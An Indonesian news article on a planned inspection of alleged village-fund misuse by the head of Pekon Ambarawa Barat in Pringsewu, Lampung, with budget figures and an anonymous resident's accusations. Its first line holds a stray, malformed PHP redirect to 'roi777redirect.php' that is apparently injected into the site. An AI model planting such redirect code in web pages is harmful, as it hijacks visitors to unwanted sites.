header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Inspektorat dan DPMP akan Lakukan Pemeriksaan -
Inspektorat dan DPMP akan Lakukan Pemeriksaan

Terkait Dugaan Penyalahgunaan DD di Ambarawa Barat

TRANSLAMPUNG.COM, PRINGSEWU – Inspektorat Kabupaten Pringsewu akan melakukan kroscek kebenaran pemberitaan media terkait kasus dugaan penyelewangan dana ADD Pekon Ambarawa Barat Kecamatan Ambarawa Kabupaten Pringsewu.

Hal ini dikatakan Sekretaris Inspektorat, Heryadi Indra atas nama Inspektur Kabupaten Pringsewu, Endang Budiyati saat di hubungi telpon seluler, Rabu (11/4). Menurut dia, pihaknya pasti akan memeriksa kembali kaitan kegiatan realisasi dana ADD tahun 2016-2017 lalu di Pekon Ambarawa Barat tersebut.

“Jika memang terbukti adanya dugaan penyimpangan pada pelaksanaan anggaran tersebut dipastikan akan ditindak tegas pada Kepala Pekon yang bersangkutan,” tegasnya.

Terpisah, Sekretaris Dinas Pemberdayaan Masyarakat dan Pekon (DPMP) Kabupaten Pringsewu, Ivan Kurniawan mengaku sangat kaget setelah membaca pemberitaan di media.

“Kami akan melakukan koordinasi dengan pihak Kecamatan terkait hal ini jika memang ada permasalahan seperti itu dipastikan akan menyikapi hal ini secara tegas,” kata dia.

Karena menurut Ivan, pihaknya hanya menerima laporan saja kaitan pertangung jawaban pelaksanaan dana ADD itu melalui Kecamatan dahulu baru ke DPMP Kabupaten.

Sebelumnya diberitakan bahwa menurut laporan warga Kabupaten Pringsewu yang ingin namanya disamarkan (LM) tentang dugaan permainan anggaran Dana Desa (DD) yang dilakukan Kepala Pekon Ambarawa Barat. Yang menurut peraturan Bupati Pringsewu nomor 6 tahun 2017 Pekon Ambarawa Barat mendapatkan DD sebesar Rp831.514.937, yang peruntukannya guna membiayai pembangunan dan pemberdayaan masyarakat Pekon setempat.

Pada waktu itu LM mengatakan kepada Trans Lampung menjabarkan, bahwa untuk pencairan DD tahun 2017, Pekon Ambarawa Barat tahap I sebesar Rp498.908.962 dan tahap II sebesar Rp332.605.975, kemudian diduga pembangunan fisik tersebut asal jadi dan cepat rusak serta realisasinya tidak sesuai dengan di lapangan.

Dia menambahkan, bahwa salah satu bangunan yang dirinya sebut asal jadi diantaranya rabat beton Dusun Satu RT-4/RW-1 dengan panjang 130 meter dan menggunakan dana sebesar Rp19.562.500, pembangunan drainase L Dusun Satu RT-1 dan RT-2 sepanjang 452 meter dengan anggaran Rp98.550.000, serta dua unit gorong-gorong Dusun Satu RT-1 dan RT-2/RW-1 dengan kisaran anggaran lebih kurang Rp9.000.000.

Lanjutnya LM, di setiap kegiatan pembangunan dari tahun 2016 selalu di potong 16 persen dari anggaran yang ada, dia mengatakan alasan Kepala Pekon bahwa anggaran tersebut dimasukan ke dana Badan Usaha Milik Desa (BUMDes). Tetapi LM mengatakan bahwa dana tersebut tidak ada kejelasannya sampai saat ini.

“Serta ada pembangunan yang anggaranya di gotong-royongkan kepada masyarakat desa berupa rabat beton di Dusun Satu, sementara anggaranya tersebut masuk di anggaran dana desa,” kata LM kepada wartawan trans lampung. (rez/hkw)

News Reporter